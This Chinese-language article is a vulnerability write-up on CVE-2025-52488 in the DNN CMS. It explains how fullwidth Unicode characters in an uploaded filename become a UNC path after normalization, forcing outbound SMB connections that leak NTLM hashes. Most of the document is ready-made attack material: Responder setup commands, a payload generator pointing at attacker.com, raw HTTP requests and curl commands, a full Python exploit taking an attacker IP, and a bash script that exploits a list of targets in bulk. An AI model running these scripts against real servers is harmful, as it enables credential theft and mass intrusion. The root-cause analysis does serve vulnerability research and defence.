DNN(前身为DotNetNuke)是2003年建立的最古老的开源内容管理系统之一,使用C#(.NET)编写,由活跃的爱好者社区维护。它也被企业广泛使用。
我们熟悉这项技术是因为CVE-2017-9822,该漏洞允许通过DNNPersonalization cookie的不安全反序列化进行远程代码执行(RCE)。这个CVE一直是反序列化攻击的绝佳案例研究。
2025年4月,我们的安全研究团队在DNN中发现了CVE-2025-52488,该漏洞允许向任意主机发起SMB调用。攻击者可以利用此问题,通过运行Responder服务器潜在地窃取NTLM凭据。
在Windows机器上运行.NET代码时,如果攻击者控制路径,文件系统操作本质上会带来风险。这是因为攻击者可以向文件系统操作提供UNC路径,导致对攻击者控制的SMB服务器进行带外调用。
这可能导致许多不良行为:
虽然可以在底层Windows机器上应用几种缓解措施来防止这种泄露,但根据我们的经验,这种技术在2025年仍然活跃,特别是在经常托管DNN等旧软件的旧系统上。
编写任何文件和路径操作的C#开发人员必须了解Path.Combine
函数的工作原理。
如果Path.Combine
的第二个参数(通常是用户输入)是绝对路径,则忽略前一个参数并返回绝对路径。
Microsoft文档明确说明了这种行为:
"此方法旨在将各个字符串连接成表示文件路径的单个字符串。但是,如果第一个参数以外的参数包含根路径,则忽略任何先前的路径组件,返回的字符串以该根路径组件开头。"
尽管文档明确说明了这一点,但这个问题在我们审计的C#代码库中仍然普遍存在。
当您尝试支持全球多样化的用户群时,最终会遇到Unicode问题。许多语言需要Unicode字符支持,但实现这种支持可能是一条滑溜的道路,经常导致处理用户输入时出现异常。
开发人员可以通过简单地将用户输入规范化为ASCII文本来避免处理持续的Unicode解析相关问题。
但是,如果在安全检查边界之后进行此操作,可能会导致严重的安全漏洞。在几乎任何编程语言中将Unicode规范化为ASCII通常会导致意外的绕过,因为某些字符可以转换为ASCII,而这些字符本应被之前的安全边界阻止或预防。
DNN中有一个预认证端点接受文件上传: Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs
代码中实施了多个安全边界来防止filename变量包含恶意输入:
Path.GetFileName
确保只提取文件名,而不是绝对路径Regex.Replace
确保任何潜在危险字符都被下划线替换Utility.ValidateFileName
和Utility.CleanFileName
作为深度防御策略关键问题在于Utility.ConvertUnicodeChars
函数中的这一行:
input = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));
这会将任何Unicode字符规范化为ASCII。
在用户输入通过此函数后,调用:
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
如果fileName
变量包含绝对路径,Path.Combine
调用将忽略第一个参数。攻击者控制的绝对路径然后被输入到File.Exists
中,这将与攻击者控制的SMB共享进行外部交互。
我们构建了一个基本的模糊测试器,使用与DNN完全相同的逻辑来查找在通过Encoding.ASCII.GetString
调用后规范化为.
和\
的Unicode字符。
发现的字符:
%EF%BC%8E
→ U+FF0E
: "FULLWIDTH FULL STOP" (.)%EF%BC%BC
→ U+FF3C
: "FULLWIDTH REVERSE SOLIDUS" (\)# 下载DNN (建议使用受影响的版本)
# 下载地址: https://github.com/dnnsoftware/Dnn.Platform/releases
# 受影响版本: 9.x.x 系列
# 安装要求
- Windows Server 2016/2019/2022 或 Windows 10/11
- IIS 10.0+
- .NET Framework 4.8
- SQL Server 2016+ 或 SQL Server Express
# 安装Responder工具
git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt
# 或使用预编译版本
# 下载地址: https://github.com/lgandx/Responder/releases
# 确保攻击者机器和目标机器在同一网络段
# 或者配置路由使SMB流量能够到达攻击者机器
# 检查网络连通性
ping
nbtstat -A
// 关键代码位置分析
// 文件: Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs
private void UploadWholeFile(HttpContext context, List statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // 第一层保护
if (!string.IsNullOrEmpty(fileName))
{
// 第二层保护:替换点号
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// 第三层保护:验证文件名
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// 关键漏洞点:Unicode转换
fileName = Utility.ConvertUnicodeChars(fileName); // 绕过所有保护
}
// 漏洞触发点
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
// 这里会触发SMB调用
}
}
}
// 构建模糊测试器
using System;
using System.Text;
using System.Text.RegularExpressions;
public class UnicodeFuzzer
{
public static void Main()
{
// 测试Unicode字符转换
string[] testChars = {
"\uFF0E", // FULLWIDTH FULL STOP
"\uFF3C", // FULLWIDTH REVERSE SOLIDUS
"\u3002", // IDEOGRAPHIC FULL STOP
"\uFF0F", // FULLWIDTH SOLIDUS
"\u2215", // DIVISION SLASH
"\u29F8", // BIG SOLIDUS
};
foreach (string testChar in testChars)
{
string result = ConvertUnicodeChars(testChar);
Console.WriteLine($"Input: {testChar} (U+{((int)testChar[0]):X4}) -> Output: '{result}'");
}
}
public static string ConvertUnicodeChars(string input)
{
// 模拟DNN的Unicode转换逻辑
input = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));
return input;
}
}
# 在攻击者机器上启动Responder
cd Responder
python3 Responder.py -I eth0 -wrf
# 参数说明:
# -I eth0: 指定网络接口
# -w: 启动WPAD代理服务器
# -r: 响应NBT-NS查询
# -f: 指纹主机
# 或者使用更详细的配置
python3 Responder.py -I eth0 -wrf -v --lm
# Python脚本生成恶意文件名
import urllib.parse
def generate_malicious_filename():
# 关键Unicode字符
fullwidth_backslash = "\uFF3C" # \
fullwidth_dot = "\uFF0E" # .
# 构建UNC路径
malicious_path = f"{fullwidth_backslash}{fullwidth_backslash}attacker.com{fullwidth_backslash}share{fullwidth_backslash}test.jpg"
# URL编码
encoded_filename = urllib.parse.quote(malicious_path)
return encoded_filename
print("恶意文件名:", generate_malicious_filename())
# 输出: %EF%BC%BC%EF%BC%BCattacker.com%EF%BC%8Eshare%EF%BC%BCtest.jpg
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
Host: target-dnn-server.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 245
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="%EF%BC%BC%EF%BC%BCattacker.com%EF%BC%8Eshare%EF%BC%BCtest.jpg"
Content-Type: image/jpeg
fake_image_content
------WebKitFormBoundary7MA4YWxkTrZu0gW--
# 1. 启动Burp Suite
# 2. 配置代理设置
# 3. 拦截请求并修改文件名
# 4. 发送到目标服务器
# 或者使用curl命令
curl -X POST \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-F "[email protected];filename=%EF%BC%BC%EF%BC%BCattacker.com%EF%BC%8Eshare%EF%BC%BCtest.jpg" \
"http://target-dnn-server.com/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false"
# 观察Responder的输出日志
[+] Listening for events...
[SMB] NTLMv2-SSP Hash : Administrator::DOMAIN:1122334455667788:hash_here:challenge_here
[SMB] NTLMv2-SSP Hash : IUSR::DOMAIN:1122334455667788:hash_here:challenge_here
[SMB] NTLMv2-SSP Hash : NETWORK SERVICE::DOMAIN:1122334455667788:hash_here:challenge_here
# 成功捕获NTLM哈希
// 在DNN源代码中添加断点
// 文件: Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs
// 断点1: 文件名处理开始
var fileName = Path.GetFileName(file.FileName);
// 断点2: Unicode转换前
fileName = Utility.ConvertUnicodeChars(fileName);
// 断点3: File.Exists调用前
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
# 使用Wireshark捕获SMB流量
# 过滤器: smb || smb2
# 使用tcpdump
tcpdump -i eth0 -w capture.pcap port 445
# 分析捕获的流量
tshark -r capture.pcap -Y "smb || smb2" -V
# 检查IIS日志
# 位置: C:\inetpub\logs\LogFiles\W3SVC1\
# 查找包含Unicode字符的请求
# 检查Windows事件日志
# 事件查看器 -> Windows日志 -> 安全
# 查找SMB相关事件
# 检查DNN日志
# 位置: [DNN安装目录]\Portals\_default\Logs\
#!/usr/bin/env python3
import requests
import urllib.parse
import time
import sys
class DNNUnicodeExploit:
def __init__(self, target_url, attacker_ip):
self.target_url = target_url
self.attacker_ip = attacker_ip
self.session = requests.Session()
def generate_payload(self):
"""生成Unicode绕过payload"""
unicode_chars = {
'backslash': '\uFF3C', # \
'dot': '\uFF0E', # .
'slash': '\uFF0F', # /
}
# 构建UNC路径
payload = f"{unicode_chars['backslash']}{unicode_chars['backslash']}{self.attacker_ip}{unicode_chars['backslash']}share{unicode_chars['backslash']}test.jpg"
return urllib.parse.quote(payload)
def exploit(self):
"""执行漏洞利用"""
payload = self.generate_payload()
# 构造multipart请求
files = {
'file': ('fake.jpg', 'fake_content', 'image/jpeg')
}
# 修改文件名
files['file'] = (payload, 'fake_content', 'image/jpeg')
url = f"{self.target_url}/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx"
params = {
'PortalID': '0',
'storageFolderID': '1',
'overrideFiles': 'false'
}
try:
print(f"[+] 发送payload到: {url}")
print(f"[+] Payload: {payload}")
response = self.session.post(url, params=params, files=files, timeout=10)
print(f"[+] 响应状态码: {response.status_code}")
print(f"[+] 响应内容: {response.text[:200]}...")
return True
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败: {e}")
return False
def main():
if len(sys.argv) != 3:
print("用法: python3 exploit.py ")
print("示例: python3 exploit.py http://192.168.80.184 192.168.80.184")
sys.exit(1)
target_url = sys.argv[1]
attacker_ip = sys.argv[2]
exploit = DNNUnicodeExploit(target_url, attacker_ip)
exploit.exploit()
if __name__ == "__main__":
main()
#!/bin/bash
# 批量扫描DNN目标
TARGETS_FILE="targets.txt"
ATTACKER_IP="192.168.80.184"
LOG_FILE="scan_results.log"
echo "开始批量扫描..." > $LOG_FILE
while IFS= read -r target; do
echo "扫描目标: $target"
# 检查DNN是否存在
response=$(curl -s -o /dev/null -w "%{http_code}" "$target/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx")
if [ "$response" = "200" ]; then
echo "[+] 发现DNN: $target" >> $LOG_FILE
# 尝试漏洞利用
python3 exploit.py "$target" "$ATTACKER_IP"
if [ $? -eq 0 ]; then
echo "[+] 漏洞利用成功: $target" >> $LOG_FILE
else
echo "[-] 漏洞利用失败: $target" >> $LOG_FILE
fi
else
echo "[-] 未发现DNN: $target" >> $LOG_FILE
fi
sleep 2 # 避免请求过于频繁
done < "$TARGETS_FILE"
echo "扫描完成,结果保存在: $LOG_FILE"
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
Host: target
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX
Content-Length: 198
------WebKitFormBoundaryXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="%EF%BC%BC%EF%BC%BCoqi3o3fv9cpyquhbd6h8bx19a0gs4nsc%EF%BC%8Eoastify%EF%BC%8Ecom%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"
Content-Type: image/jpeg
test
------WebKitFormBoundaryXXXXXXXXXXXX--
在DNN Platform/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/Browser.aspx.cs
中存在相同的攻击向量,但由于以下逻辑,无法在预认证状态下访问:
if ((this.currentSettings.BrowserMode.Equals(BrowserType.StandardBrowser) || this.currentSettings.ImageButtonMode.Equals(ImageButtonType.EasyImageButton)) && HttpContext.Current.Request.IsAuthenticated)
这无法被绕过,但仍被报告给DNN,因为它可能在认证后导致利用。
这个漏洞对我们团队来说是一个有趣的发现,因为需要完美的问题组合才能被利用。虽然可能向Responder服务器进行带外调用,但DNN开发人员在File.Exists
调用后实施了几个额外的安全检查,防止了更严重的漏洞(如任意文件写入)的存在。
在阅读DNN代码后,我们清楚地看到已经做出了几项努力来强化其代码库,这促使我们在发现其代码库中的可利用预认证漏洞时变得更有创意。